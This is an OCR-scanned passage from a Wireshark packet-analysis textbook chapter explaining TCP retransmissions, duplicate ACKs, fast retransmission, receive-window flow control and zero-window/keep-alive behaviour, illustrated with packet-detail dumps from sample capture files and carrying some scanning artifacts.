2 0.206009 4 706 [TCP Retransmission] 1048 + 1043 [PSH, ACK] Seq=1 Ack=1 Win=8760 Len=648 [ETHERNET FRAME CHECK SEQUENCE INCORRECT) 


3 0.600000 x X 706 [TCP Retransmission] 1048 + 1043 [PSH, ACK] Seq=1 Ack=1 Win=8760 Len=648 [ETHERNET FRAME CHECK SEQUENCE INCORRECT] 
4 1.200009 . 706 [TCP Retrans: 1048 + 1043 [PSH, ACK] Seq=1 Ack=1 Win=8760 Len=648 [ETHERNET FRAME CHECK SEQUENCE INCORRECT] 
5 2.400000 +71. 706 [TCP Retransm: 1048 + 1643 [PSH, ACK] Seq=1 Ack=1 Win=8760 Len=648 [ETHERNET FRAME CHECK SEQUENCE INCORRECT] 
6 4.805000 EEN 3.71. 706 [TCP Retransmission] 1048 + 1043 [PSH, ACK] Seq=1 Ack=1 Win=8760 Len=648 [ETHERNET FRAME CHECK SEQUENCE INCORRECT] 





Figure 11-3: Retransmissions in the Packet List pane 


You can also determine whether a packet is a retransmission by examin- 
ing it in the Packet Details pane, as shown in Figure 11-4. 

In the Packet Details pane, notice that the retransmission packet 
has some additional information included under the SEQ/ACK analysis 
heading @. This useful information is provided by Wireshark and is not 
contained in the packet itself. The SEQ/ACK analysis tells us that this is 
indeed a retransmission @, that the RTO value is 0.206 seconds ®, and 
that the RTO is based on the delta time from packet 1 @. 
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tcp_dupack.pcapng 





M Wireshark - Packet 2 - tcp_retransmissions = o x 





Frame 2: 706 bytes on wire (5648 bits), 706 bytes captured (5648 bits) 


Internet Protocol Version 4, Src: 10.3.30.1, Dst: 10.3.71.7 
YV Transmission Control Protocol, Src Port: 1048 (1048), Dst Port: 1043 (1043), Seq: 1, Ack: 1, Len: 648 
Source Port: 1048 
Destination Port: 1043 
[Stream index: @] 
[TCP Segment Len: 648] 
Sequence number: 1 (relative sequence number) 
[Next sequence number: 649 (relative sequence number) ] 
Acknowledgment number: 1 (relative ack number) 
Header Length: 2@ bytes 
Flags: @x@18 (PSH, ACK) 
Window size value: 8760 
[Calculated window size: 8760] 
[Window size scaling factor: -1 (unknown) ] 
Checksum: @x9b5f [validation disabled] 
Urgent pointer: @ 
[SEQ/ACK analysis] @ 
[Bytes in flight: 648] 
v [TCP Analysis Flags] 
[Expert Info (Note/Sequence): This frame is a (suspected) retransmission] @ 
[The RTO for this segment was: @.20600000@ seconds]@ 
[RTO based on delta from frame: 1] @ 
Retransmitted TCP segment data (648 bytes) 


< 














No.: 2° Time: 0.206000 * Source: 10.3.30.1 - Destination: 10.3.71.7 « Protocol: TC_3 [PSH, ACK] Seq=1 Ack=1 Win=8760 Len=648 [ETHERNET FRAME CHECK SEQUENCE IN 








Figure 11-4: An individual retransmission packet 


Note that this packet is the same as the original packet (other than the 
IP identification and Checksum fields). To verify this, compare the Packet 
Bytes pane of this retransmitted packet with the original one. 

Examination of the remaining packets should yield 
similar results, with the only differences between the 
packets found in the IP identification and Checksum 
fields and in the RTO value. To visualize the time lapse 
between each packet, look at the Time column in the 
Packet List pane, as shown in Figure 11-5. Here, you 
see exponential growth in time as the RTO value is 





doubled after each retransmission. Figure 11-5: 
The TCP retransmission feature is used by the The Time col- 
transmitting device to detect and r r from ket umn shows the 
ans g device to detect and recover from packe increase in RTO 
loss. Next, we’ll examine TCP duplicate acknowledgments, value. 


a feature that the data recipient uses to detect and 
recover from packet loss. 


TCP Duplicate Acknowledgments and Fast Retransmissions 


A duplicate ACK is a TCP packet sent from a recipient when that recipient 
receives packets that are out of order. TCP uses the sequence and acknowl- 
edgment number fields within its header to reliably ensure that data is 
received and reassembled in the same order in which it was sent. 


The proper term for a TCP packet is actually TCP segment, but most people refer to 
at as a packet. 
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When a new TCP connection is established, one of the most important 
pieces of information exchanged during the handshake process is an initial 
sequence number (ISN). Once the ISN is set for each side of the connec- 
tion, each subsequently transmitted packet increments the sequence num- 
ber by the size of its data payload. 

Consider a host that has an ISN of 5000 and sends a 500-byte packet 
to a recipient. Once this packet has been received, the recipient host will 
respond with a TCP ACK packet with an acknowledgment number of 5500, 
based on the following formula: 


Sequence Number In + Bytes of Data Received = Acknowledgment Number Out 


As a result of this calculation, the acknowledgment number returned 
to the transmitting host is the next sequence number that the recipient 
expects to receive. An example of this can be seen in Figure 11-6. 










SEQ #: 5000 Data Size: 500 


ACK #: 5500 
rd = SEQ #: 5500 Data Size: 500 


ACK #: 6000 


Transmitting Host SEQ #: 6000 Data Size: 500 Recipient Host 


ACK #: 6500 


Figure 11-6: TCP sequence and acknowledgment numbers 




















ll. 























The detection of packet loss by the data recipient is made possible 
through the sequence numbers. As the recipient tracks the sequence num- 
bers it is receiving, it can determine when it receives sequence numbers 
that are out of order. 

When the recipient receives an unexpected sequence number, it assumes 
that a packet has been lost in transit. To reassemble data properly, the recipi- 
ent must have the missing packet, so it resends the ACK packet that contains 
the lost packet’s expected sequence number in order to elicit a retransmis- 
sion of that packet from the transmitting host. 

When the transmitting host receives three duplicate ACKs from the 
recipient, it assumes that the packet was indeed lost in transit and immedi- 
ately sends a fast retransmission. Once a fast retransmission is triggered, all 
other packets being transmitted are queued until the fast retransmission 
packet is sent. This process is depicted in Figure 11-7. 





SEQ #: 5000 Data Size: 500 
ACK #: 5500 
SEQ #: 6000 Data Size: 500 


Duplicate ACK(1)#: 5500 
Duplicate ACK(2)#: 5500 


Duplicate ACK(3)#: 5500 
Fast Retransmission SEQ #: 5500 Data Size: 500 


ACK #: 6000 


Figure 11-7; Duplicate ACKs from the recipient result in a fast retransmission. 
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Transmitting Host Recipient Host 


You'll find an example of duplicate ACKs and fast retransmissions 
in the file tch_dupack.pcapng. The first packet in this capture is shown in 
Figure 11-8. 








@ Wireshark - Packet 1 + tcp_dupack - x 














Frame 1: 78 bytes on wire (624 bits), 78 bytes captured (624 bits) 

Ethernet II, Src: HewlettP_a4:cl:c6 (@0:16:35:a4:c1:c6), Dst: All-HSRP-routers_@1 (@0:00:0c:07:ac:@1) 

Internet Protocol Version 4, Src: 172.31.136.85, Dst: 195.81.202.68 (1) 

v Transmission Control Protocol, Src Port: 38760 (38760), Dst Port: 80 (80), Seq: 704338729, Ack: 1310973186, Len: @ 

Source Port: 38760 
Destination Port: 80 
[Stream index: @] 
[TCP Segment Len: @] 
Sequence number: 704338729 
Acknowledgment number: 1310973186 @ 
Header Length: 44 bytes 
Flags: 0x010 (ACK) 
Window size value: 382 
[Calculated window size: 382] 
[Window size scaling factor: -1 (unknown) ] 
Checksum: @xdlbe [validation disabled] 
Urgent pointer: @ 
Options: (24 bytes), No-Operation (NOP), No-Operation (NOP), Timestamps, No-Operation (NOP), No-Operation (NOP), SACK 


No.: 1 > Time: 0.000000 - Source: 172.31.136.85 « Destination: 195.81.202.68 « Protocol: TCP « L..04338729 Ack=1310973186 Win=382 Len=0 TSval=22247173 TSecr=1332354 SLE= 1310978658 SRE=131098+ 








Figure 11-8: The ACK showing the next expected sequence number 


This packet, a TCP ACK sent from the data recipient (172.31.136.85) to 
the transmitter (195.81.202.68) @, has an acknowledgment of the data sent 
in the previous packet that is not included in this capture file. 
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By default, Wireshark uses relative sequence numbers to make the analysis of these 
numbers easier, but the examples and screenshots in the next few sections do not use 
this feature. To turn off this feature, select Edit » Preferences. In the Preferences 
window, select Protocols and then the TCP section. Then uncheck the box next to 
Relative sequence numbers. 


The acknowledgment number in this packet is 1310973186 @. This 
should match the sequence number in the next packet received, as shown 
in Figure 11-9. 





M Wireshark - Packet 2 - tcp_dupack - o x 





Frame 2: 1434 bytes on wire (11472 bits), 1434 bytes captured (11472 bits) 
Ethernet II, Src: CiscoInc_72:15:00 (@@:@b:be:72:15:00), Dst: HewlettP_a4:cl:c6 (@0:16:35:a4:cl:c6) 
Internet Protocol Version 4, Src: 195.81.202.68, Dst: 172.31.136.85 | 


Y Transmission Control Protocol, Src Port: 80 (80), Dst Port: 38760 (38760), Seq: 1310984130, Ack: 704338729, Len: 1368 | 


Source Port: 80 


Destination Port: 38760 





Stream index: @] 

TCP Segment Len: 1368] 

Sequence number: 1310984130 (1) 

Next sequence number: 1310985498] 
Acknowledgment number: 704338729 

Header Length: 32 bytes 

Flags: @x@1@ (ACK) 

Window size value: 108 

Calculated window size: 108] 

Window size scaling factor: -1 (unknown)] 
Checksum: @xbdf7 [validation disabled] 
Urgent pointer: @ 

Options: (12 bytes), No-Operation (NOP), No-Operation (NOP), Timestamps 
SEQ/ACK analysis] 








No.: 2 * Time: 0.000190 > Source: 195.81.202.68 > Destination: 172.31.136.85 * Protocol: TCP * Len... Info: 80 — 38760 [ACK] Seq= 1310984130 Ack= 704338729 Win=108 Len=1368 TSval=1332354 TSecr=222 





Figure 11-9: The sequence number of this packet is not what was expected. 
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Unfortunately for us and our recipient, the sequence number of the 
next packet is 1310984130 ®, which is not what we expect. This out-of-order 
packet indicates that the expected packet was somehow lost in transit. The 
recipient host notices that this packet is out of sequence and sends a dupli- 
cate ACK in the third packet of this capture, as shown in Figure 11-10. 

You can determine that this is a duplicate ACK packet by examining 
either of the following: 


e The Info column in the Packet Details pane. The packet should appear 
as red text on a black background. 


e The Packet Details pane under the SEQ/ACK analysis heading 
(Figure 11-10). If you expand this heading, yov ll find that the 
packet is listed as a duplicate ACK of packet 1 ®. 





M Wireshark . Packet 3 - tcp_dupack me o x 


Frame 3: 78 bytes on wire (624 bits), 78 bytes captured (624 bits) 
Ethernet II, Src: HewlettP_a4:cl:c6 (@@:16:35:a4:cl:c6), Dst: All1-HSRP-routers_@1 (@0:00:0c:@7:ac:@1) 
Internet Protocol Version 4, Src: 172.31.136.85, Dst: 195.81.202.68 
v Transmission Control Protocol, Src Port: 38760 (38760), Dst Port: 80 (80), Seq: 704338729, Ack: 1310973186, Len: @ 

Source Port: 38760 

Destination Port: 80 

[Stream index: @] 

[TCP Segment Len: @] 

Sequence number: 704338729 

Acknowledgment number: 1310973186 

Header Length: 44 bytes 

Flags: @x@1@ (ACK) 

Window size value: 382 

[Calculated window size: 382] 

[Window size scaling factor: -1 (unknown) ] 

Checksum: @xcc66 [validation disabled] 

Urgent pointer: @ 

Options: (24 bytes), No-Operation (NOP), No-Operation (NOP), Timestamps, No-Operation (NOP), No-Operation (NOP), SACK 
v [SEQ/ACK analysis] 

[TCP Analysis Flags] 
[Duplicate ACK #: 1] 
V [Duplicate to the ACK in frame: 1] @ 
[Expert Info (Note/Sequence): Duplicate ACK (#1)] 








No.: 3 ° Time: 0.000011 « Source: 172.31.136.85 « Destination: 195.81.202.68 - Protocol: TCP « Le... 704338729 Ack=1310973186 Win=382 Len=0 TSval=22247173 TSecr=1332354 SLE=1310978658 SRE=13109 


Figure 11-10: The first duplicate ACK packet 


The next several packets continue this process, as shown in Figure 11-11. 





No. Time Source Destination Protocol Length Info 
1 0.000000 172.31.136.85 195.81.202.68 TCP 78 38760 + 80 [ACK] Seq=704338729 Ack=1310973186 Win=382 Len=@ TSval=22247173 TSecr=1332354 .. 
2 0.000199 195.81.202.68 172.31.136.85 TCP 1434 80 > 38760 [ACK] Seq=131098413@ Ack=704338729 Win=108 Len=1368 TSval=1332354 TSecr=222471.. 


78 [TCP Dup ACK 1#1] 38760 + 80 [ACK] Seq=704338729 Ack=1310973186 Win=382 Len=@ TSval=22247.. 
194 0.000093 -81. . 31. . 1434 80 + 38760 [ACK] Seq=1310985498 Ack=704338729 Win=108 Len=1368 TSval=1332354 TSecr=222471. 


78 [TCP Dup ACK 1#2] 38760 + 80 [ACK] Seq=704338729 Ack=1310973186 Win=382 Len=0 TSval=22247.. 
E) 6 2.090121 -81. a 31. . 1434 80 > 38760 [ACK] Seq=1310986866 Ack=704338729 Win=108 Len=1368 TSval=1332354 TSecr=222471... 
78 [TCP Dup ACK 1#3] 38760 > 80 [ACK] Seq=704338729 Ack=1310973186 Win=382 Len=0 TSval=22247.. 





Figure 11-11: Additional duplicate ACKs are generated due to out-of-order packets. 


The fourth packet in the capture file is another chunk of data sent from 
the transmitting host with the wrong sequence number @. As a result, the 
recipient host sends its second duplicate ACK @. One more packet with the 
wrong sequence number is received by the recipient ®. That prompts the 
transmission of the third and final duplicate ACK ®. 

As soon as the transmitting host receives the third duplicate ACK from 
the recipient, it is forced to halt all packet transmission and resend the lost 
packet. Figure 11-12 shows the fast retransmission of the lost packet. 

The retransmission packet can once again be found through the Info 
column in the Packet List pane. As with previous examples, the packet is 
clearly labeled with red text on a black background. The SEQ/ACK analy- 
sis section of this packet (Figure 11-12) tells us that this is suspected to be 
a fast retransmission ®. (Again, the information that labels this packet 
as a fast retransmission is not a value set in the packet itself but rather a 
feature of Wireshark.) The final packet in the capture is an ACK packet 
acknowledging receipt of the fast retransmission. 
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M Wireshark « Packet 8  tcp_dupack = o x 


v Transmission Control Protocol, Src Port: 8@ (80), Dst Port: 38760 (38760), Seq: 1310973186, Ack: 704338729, Len: 1368 


Frame 8: 1434 bytes on wire (11472 bits), 1434 bytes captured (11472 bits) 
Ethernet II, Src: CiscoInc_72:15:0@ (@@:@b:be:72:15:00), Dst: HewlettP_a4:cl:c6 (@@:16:35:a4:c1:c6) 
Internet Protocol Version 4, Src: 195.81.202.68, Dst: 172.31.136.85 


Source Port: 8@ 
Destination Port: 38760 
Stream index: @] 
TCP Segment Len: 1368] 
Sequence number: 1310973186 
[Next sequence number: 1310974554] 
Acknowledgment number: 704338729 
Header Length: 32 bytes 
Flags: @x@1@ (ACK) 
Window size value: 108 
Calculated window size: 108] 
[Window size scaling factor: -1 (unknown)] 
Checksum: @x9364 [validation disabled] 
Urgent pointer: @ 
Options: (12 bytes), No-Operation (NOP), No-Operation (NOP), Timestamps 
v [SEQ/ACK analysis] | 
[Bytes in flight: 15048] 
v [TCP Analysis Flags] 
[Expert Info (Note/Sequence): This frame is a (suspected) fast retransmission] @ 
[Expert Info (Note/Sequence): This frame is a (suspected) retransmission] 








No.: 8 « Time: 0.000092 « Source: 195.81.202.68 + Destination: 172.31.138.85 + Protocol: TCP « Le._sion] 80 — 38760 [ACK] Seq= 1310973186 Ack= 704238729 Win=108 Len=1368 TSval=1332354 TSecr=222 











Figure 11-12: Three duplicate ACKs cause this fast retransmission of the lost packet. 
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One feature to consider that may affect the flow of data in TCP communications in 
which packet loss is present is the Selective Acknowledgment feature. In the packet 
capture we just examined, Selective ACK was negotiated as an enabled feature during 
the initial three-way handshake process. As a result, whenever a packet is lost and a 
duplicate ACK received, only the lost packet has to be retransmitted, even though other 
packets were received successfully after the lost packet. Had Selective ACK not been 
enabled, every packet occurring after the lost packet would have had to be retrans- 
mitted as well. Selective ACK makes data loss recovery much more efficient. Because 
most modern TCP/IP stack implementations support Selective ACK, you will find 
that this feature is usually implemented. 


TCP Flow Control 


Retransmissions and duplicate ACKs are reactive TCP functions designed to 
recover from packet loss. TCP would be a poor protocol indeed if it didn’t 
include some form of proactive method for preventing packet loss. 

TCP implements a sliding-window mechanism to detect when packet 
loss may occur and adjust the rate of data transmission to prevent it. The 
sliding-window mechanism leverages the data recipient’s receive window to 
control the flow of data. 

The receive window is a value specified by the data recipient and stored 
in the TCP header (in bytes) that tells the transmitting device how much 
data the recipient is willing to store in its TCP buffer space. This buffer space 
is where data is stored temporarily until it can be passed up the stack to the 
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application-layer protocol waiting to process it. As a result, the transmitting 
host can send only the amount of data specified in the Window size value 
field at one time. For the transmitter to send more data, the recipient must 
send an acknowledgment that the previous data was received. It also must 
clear TCP buffer space by processing the data that is occupying that posi- 
tion. Figure 11-13 illustrates how the receive window works. 











o 


























Buffer Space Available Buffer Space Available Available] | Window Size | a ae 


g = Server 


Figure 11-13: The receive window keeps the data recipient from getting overwhelmed. 





In Figure 11-13, the client is sending data to a server that has commu- 
nicated a receive window size of 5,000 bytes. The client sends 2,500 bytes, 
reducing the server’s buffer space to 2,500 bytes, and then sends another 
2,000 bytes, further reducing the buffer to 500 bytes. The server sends an 
acknowledgment of this data, and after it processes the data in its buffer, 
it again has an empty buffer available. This process repeats, with the client 
sending 3,000 bytes and another 1,000 bytes, reducing the server’s buffer to 
1,000 bytes. The client once more acknowledges this data and processes the 
contents of its buffer. 


Adjusting the Window Size 


This process of adjusting the window size is fairly clear-cut, but it isn’t always 
perfect. Whenever data is received by the TCP stack, an acknowledgment is 
generated and sent in reply, but the data placed in the recipient’s buffer is 
not always processed immediately. 

When a busy server is processing packets from multiple clients, it could 
quite possibly be slow in clearing its buffer and thus be unable to make room 
for new data. Without a means of flow control, a full buffer could lead to lost 
packets and data corruption. Fortunately, when a server becomes too busy to 
process data at the rate its receive window is advertising, it can adjust the size 
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of the window. It does this by decreasing the window size value in the TCP 
header of the ACK packet it is sending back to the hosts that are sending it 
data. Figure 11-14 shows an example of this. 








ll. 

















Buffer Space Available Buffer Space Available Available] | Window Size | race eae 


Clea Server 


Figure 11-14: The window size can be adjusted when the server becomes busy. 





In Figure 11-14, the server starts with an advertised window size of 
5,000 bytes. The client sends 2,000 bytes, followed by another 2,000 bytes, 
leaving only 1,000 bytes of buffer space available. The server realizes that 
its buffer is filling up quickly and knows that if data transfer keeps up 
at this rate, packets will soon be lost. To avoid such a mishap, the server 
sends an acknowledgment to the client with an updated window size of 
1,000 bytes. The client responds by sending less data, and now the rate 
at which the server can process its buffer contents allows data to flow ina 
constant manner. 

The resizing process works both ways. When the server can process data 
at a faster rate, it can send an ACK packet with a larger window size. 


Halting Data Flow with a Zero Window Notification 


Due to a lack of memory, a lack of processing capability, or another prob- 
lem, a server may no longer process data sent from a client. Such a stoppage 
could result in dropped packets and a halting of the communication pro- 
cess, but the receive window can minimize negative effects. 

When this situation arises, a server can send a packet that contains a 
window size of zero. When the client receives this packet, it will halt any 
data transmission but will sometimes keep the connection to the server 
open with the transmission of keep-alive packets. Keep-alive packets can 
be sent by the client at regular intervals to check the status of the server’s 
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receive window. Once the server can begin processing data again, it will 
respond with a nonzero window size, and communication will resume. 
Figure 11-15 illustrates an example of zero window notification. 
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Buffer Space Available Buffer Space Available Available| | Window Size | a 


a Server 


Figure 11-15: Data transfer stops when the window size is set to O bytes. 





In Figure 11-15, the server begins receiving data with a 5,000-byte win- 
dow size. After receiving a total of 4,000 bytes of data from the client, the 
server begins experiencing a very heavy processor load, and it can no longer 
process any data from the client. The server then sends a packet with the 
Window size value field set to 0. The client halts transmission of data and 
sends a keep-alive packet. After receiving the keep-alive packet, the server 
responds with a packet notifying the client that it can now receive data and 
that its window size is 1,000 bytes. The client resumes sending data but at a 
slower rate than before. 


The TCP Sliding Window in Practice 


tcp_zerowindow Having covered the theory behind the TCP sliding window, we will now 
i SIPS examine it in the capture file tch_zerowindowrecovery.pcapneg. 
Pee A In this file, we begin with several TCP ACK packets traveling from 





dead.pcapng 
192.168.0.20 to 192.168.0.30. The main value of interest to us is the Window 
size value field, which can be seen in both the Info column of the Packet 
List pane and in the TCP header in the Packet Details pane. You can see 
immediately that this field’s value decreases over the course of the first 
three packets, as shown in Figure 11-16. 
No. Time @ Source Destination Protocol Length Info (2) 
1 0.000000 192.168.0.20 192.168.0.30 TCP 60 2235 > 1720 [ACK] Seq=1422793785 Ack=2710996659 Win=876@ Len=0 
2 0.000237 192.168.0.20 192.168.0.30 TCP 60 2235 > 1720 [ACK] Seq=1422793785 Ack=2710999579 Win=5840 Len=0 


3 0.000193 192.168.0.20 192.168.0.30 TCP 60 2235 + 1720 [ACK] Seq=1422793785 Ack=2711002499 Win=292@ Len=@ 





Figure 11-16: The window size of these packets is decreasing. 
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The window size value goes from 8,760 bytes in the first packet to 5,840 
bytes in the second packet and then 2,920 bytes in the third packet @. This 
lowering of the window size value is a classic indicator of increased latency 
from the host. Notice in the Time column that this happens very quickly ®. 
When the window size is lowered this fast, it’s common for the window size to 
drop to zero, which is exactly what happens in the fourth packet, as shown in 
Figure 11-17. 





A Wireshark » Packet 4 : tcp_zerowindowrecovery = x 

















, Frame 4: 60 bytes on wire (480 bits), 6@ bytes captured (480 bits) 


Ethernet II, Src: Vmware_c@:00:08 (@0:50:56:c@:00:08), Dst: Vmware_c@:00:01 (00:50:56:c0:00:01) 
Internet Protocol Version 4, Src: 192.168.0.20, Dst: 192.168.0.30 


v Transmission Control Protocol, Src Port: 2235 (2235), Dst Port: 1720 (1720), Seq: 1422793785, Ack: 2711005419, Len: @ | 


Source Port: 2235 
Destination Port: 1720 
[Stream index: @] 
[TCP Segment Len: @] 
Sequence number: 1422793785 
Acknowledgment number: 2711005419 
Header Length: 20 bytes 
Flags: @x@1@ (ACK) 
Window size value: @ @ 
[Calculated window size: @] 
[Window size scaling factor: -1 (unknown)] 
Checksum: @x6355 [validation disabled] 
Urgent pointer: @ 
v [SEQ/ACK analysis] 
v [TCP Analysis Flags] 

v [Expert Info (Warn/Sequence): TCP Zero Window segment] @ 
[TCP Zero Window segment] 
[Severity level: Warn] 

[Group: Sequence] 


No.: 4 « Time: 0.000202 - Source: 192.168.0.20 « Destination: 192.168.0.30 - Protocol: TCP - Length: 60 « Info: [TCP ZeroWindow] 2235 — 1720 [ACK] Seq= 1422793785 Ack=2711005419 Win=0 Len=0 





Figure 11-17: This zero window packet says that the host cannot accept any more data. 


244 


The fourth packet is also being sent from 192.168.0.20 to 192.168.0.30, 
but its purpose is to tell 192.168.0.30 that it can no longer receive any data. 
The 0 value is seen in the TCP header ®. Wireshark also tells us that this is 
a zero window packet in the Info column of the Packet List pane and under 
the SEQ/ACK analysis section of the TCP header @. 

Once this zero window packet is sent, the device at 192.168.0.30 will not 
send any more data until it receives a window update from 192.168.0.20 noti- 
fying it that the window size has increased. Luckily for us, the issue causing 
the zero window condition in this capture file was only temporary. So, a win- 
dow update is sent in the next packet, shown in Figure 11-18. 

In this case, the window size is increased to a very healthy 64,240 bytes ®. 
Wireshark once again lets us know that this is a window update under the 
SEQ/ACK analysis heading. 

Once the update packet is received, the host at 192.168.0.30 can begin 
sending data again, as it does in packets 6 and 7. This entire period of halted 
data transmission takes place very quickly. Had it lasted only slightly longer, it 
could have caused a potential hiccup on the network, resulting in a slower or 
failed data transfer. 
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M Wireshark - Packet 5 - tcp_zerowindowrecovery - o x 





> Frame 5: 6@ bytes on wire (480 bits), 6@ bytes captured (480 bits) 
> Ethernet II, Src: Vmware_c@:00:08 (00:50:56:c@:00:08), Dst: Vmware_c@:00:01 (@0:50:56:c@:@0:01) 
> Internet Protocol Version 4, Src: 192.168.0.20, Dst: 192.168.0.30 
Ww, 
Source Port: 2235 
Destination Port: 1720 
[Stream index: @] 
[TCP Segment Len: @] 
Sequence number: 1422793785 
Acknowledgment number: 2711005419 
Header Length: 2@ bytes 
> Flags: 0x010 (ACK) 
Window size value: 64240 @ 
[Calculated window size: 64240] 
[Window size scaling factor: -1 (unknown)] 
> Checksum: @x6864 [validation disabled] 
Urgent pointer: @ 
v 
a 
v [Expert Info (Chat/Sequence): TCP window update] 
[TCP window update] 
[Severity level: Chat] 
[Group: Sequence] 








No.: 5 * Time: 0.010005 * Source: 192.168.0.20 * Destination: 192.168.0.30 * Protocol: TOP + Length: 60 « Info: [TCP Window Update] 2235 1720 [ACK] Seq=1422793785 Ack=2711005419 Win=64240 Len 


[cose] [ree | 














Figure 11-18: A TCP window update packet lets the other host know it can begin transmitting again. 


For one last look at the sliding window, examine tcp_zerowindowdead 
.pcapng. The first packet in this capture is normal HTTP traffic being sent 
from 195.81.202.68 to 172.31.136.85. The packet is immediately followed with 
a zero window packet sent back from 172.31.136.85, as shown in Figure 11-19. 





M Wireshark - Packet 2 - tcp_zerowindowdead = o x 


Frame 2: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) 
Ethernet II, Src: HewlettP_a4:cl:c6 (@0:16:35:a4:cl:c6), Dst: All-HSRP-routers_@1 (@@:00:0@c:07:ac:@1) 
Internet Protocol Version 4, Src: 172.31.136.85, Dst: 195.81.202.68 
Transmission Control Protocol, Src Port: 38760 (38760), Dst Port: 8@ (80), Seq: 704338729, Ack: 1310997786, Len: @ 
Source Port: 38760 
Destination Port: 8@ 
[Stream index: @] 
[TCP Segment Len: @] 
Sequence number: 764338729 
Acknowledgment number: 1310997786 
Header Length: 32 bytes 
Flags: @x@1@ (ACK) 
Window size value: @ 
[Calculated window size: @] 
[Window size scaling factor: -1 (unknown) ] 
Checksum: @x36d@ [validation disabled] 
Urgent pointer: @ 
Options: (12 bytes), No-Operation (NOP), No-Operation (NOP), Timestamps 
[SEQ/ACK analysis] 
[This is an ACK to the segment in frame: 1 
[The RTT to ACK the segment was: @.0000290@@ seconds] 
~ [TCP Analysis Flags] l 
> [Expert Info (Warn/Sequence): TCP Zero Window segment] 





No.: 2 > Time: 0.000029 > Source: 172.31.136.85 « Destination: 195.81.202.68 Protocol: TCP -... Window] 38760 — 80 [ACK] Seq=704338729 Ack=1310997786 Win=0 Len=0 TSval=22248305 TSecr=13: 


[cose] [Hen 




















Figure 11-19: A zero window packet halts data transfer. 
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This looks very similar to the zero window packet shown in Figure 11-17, 
but the result is much different. Rather than seeing a window update from 
the 172.31.136.85 host and the resumption of communication, we see a 
keep-alive packet, as shown in Figure 11-20. 











M Wireshark « Packet 3 - tcp_zerowindowdead = x 





Frame 3: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) 
Ethernet II, Src: CiscoInc_72:15:00 (@@:@b:be:72:15:00), Dst: HewlettP_a4:cl:c6 (0@:16:35:a4:c1:c6) 
Internet Protocol Version 4, Src: 195.81.202.68, Dst: 172.31.136.85 
vV Transmission Control Protocol, Src Port: 80 (80), Dst Port: 38760 (38760), Seq: 1310997785, Ack: 704338729, Len: @ 
Source Port: 8@ 
Destination Port: 38760 
[Stream index: @] 
[TCP Segment Len: @] 
Sequence number: 1310997785 
Acknowledgment number: 704338729 
Header Length: 32 bytes 
Flags: @x@1@ (ACK) 
Window size value: 108 
[Calculated window size: 108] 
[Window size scaling factor: -1 (unknown) ] 
Checksum: @x3311 [validation disabled] 
Urgent pointer: @ 
Options: (12 bytes), No-Operation (NOP), No-Operation (NOP), Timestamps 
v~ [SEQ/ACK analysis] 
v [TCP Analysis Flags] 
Y [Expert Info (Note/Sequence): TCP keep-alive segment] @ 
[TCP keep-alive segment] 
[Severity level: Note] 
[Group: Sequence] 





No.: 3 * Time: 3.410576 » Source: 195.81.202.68 * Destination: 172,31.136.85 > Protocol: TCP «...hive] 80 — 38760 [ACK] Seq=1310997785 Ack=704338729 Win=108 Len=0 TSval=1334338 TSec=2224 











Figure 11-20: This keep-alive packet ensures the zero window host is still alive. 


This packet is marked as a keep-alive by Wireshark under the SEQ/ACK 
analysis section of the TCP header in the Packet Details pane ®. The Time 
column tells us that this packet was sent 3.4 seconds after the last received 
packet. This process continues several more times, with one host sending a 


zero window packet and the other sending a keep-alive packet, as shown in 
Figure 11-21. 





No. Time @ Source Destination Protocol Length Info 
2 0.000029 172.31. . -81. - 66 [TCP ZeroWindow] 38760 + 80 [ACK] Seq=704338729 Ack=1310997786 Win=0 Len=0 TSv.. 
3 3.410576 195.81. . -31. - 66 [TCP Keep-Alive] 80 > 38760 [ACK] Seq=1310997785 Ack=704338729 Win=108 Len=@ T.. 
4 0.000031 172.31. . 3 - 66 [TCP ZeroWindow] 38760 > 80 [ACK] Seq=704338729 Ack=1310997786 Win=0 Len=0 TSv.. 
5 6.784127 195.81. . -31. . 66 [TCP Keep-Alive] 80 > 38760 [ACK] Seq=131@997785 Ack=7@4338729 Win=108 Len=@ T.. 


6 0.000029 172.31. . -81. . 66 [TCP ZeroWindow] 38760 > 30 [ACK] Seq=704338729 Ack=1310997786 Win=@ Len=@ TSv.. 
7 13.536714 195.81. . -31. a! 66 [TCP Keep-Alive] 80 > 38760 [ACK] Seq=1310997785 Ack=704338729 Win=108 Len=@ T.. 
8 0.000047 172.31. . -81. . 66 [TCP ZeroWindow] 38760 + 30 [ACK] Seq=764338729 Ack=131@997786 Win=@ Len=@ TSv.. 





Figure 11-21: The host and client continue to send zero window and keep-alive packets, respectively. 


These keep-alive packets occur at intervals of 3.4, 6.8, and 13.5 sec- 
onds ®. This process can go on for quite a long time, depending on the 
operating systems of the communicating devices. As you can see by add- 
ing up the values in the Time column, the connection is halted for nearly 
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25 seconds. Imagine attempting to authenticate with a domain control- 
ler or download a file from the internet while experiencing a 25-second 
delay—unacceptable! 


Learning from TCP Error-Control and Flow-Control Packets 


Let’s put retransmission, duplicate ACKs, and the sliding-window mechanism 
into some context. Here are a few notes to keep in mind when troubleshoot- 
ing latency issues. 


Retransmission Packets 
Retransmissions occur because the client has detected that the server 
is not receiving the data it’s sending. Therefore, depending on which 
side of the communication you are analyzing, you may never see retrans- 
missions. If you are capturing data from the server, and it is truly not 
receiving the packets being sent and retransmitted from the client, you 
may be in the dark because you won't see the retransmission packets. If 
you suspect that you are the victim of packet loss on the server side, con- 
sider attempting to capture traffic from the client (if possible) so that you 
can see whether retransmission packets are present. 


Duplicate ACK Packets 
I tend to think of a duplicate ACK as the pseudo-opposite of a retrans- 
mission, because it is sent when the server detects that a packet from 
the client it is communicating with was lost in transit. In most cases, 
you can see duplicate ACKs when capturing traffic on both sides of 
the communication. Remember that duplicate ACKs are triggered 
when packets are received out of sequence. For example, if the server 
received just the first and third of three packets sent, it would send a 
duplicate ACK to elicit a fast retransmission of the second packet from 
the client. Since you have received the first and third packets, it’s likely 
that whatever condition caused the second packet to be dropped was 
only temporary, so the duplicate ACK will likely be sent and received 
successfully. Of course, this scenario isn’t always the case, so when you 
suspect packet loss on the server side and don’t see any duplicate ACKs, 
consider capturing packets from the client side of the communication. 


Zero Window and Keep-Alive Packets 
The sliding window relates directly to the server’s inability to receive 
and process data. Any decrease in the window size or a zero window 
state is a direct result of some issue with the server, so if you see either 
occurring on the wire, you should focus your investigation there. You 
will typically see window update packets on both sides of network 
communications. 
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Locating the Source of High Latency 


In some cases, packet loss may not be the cause of latency. You may find 
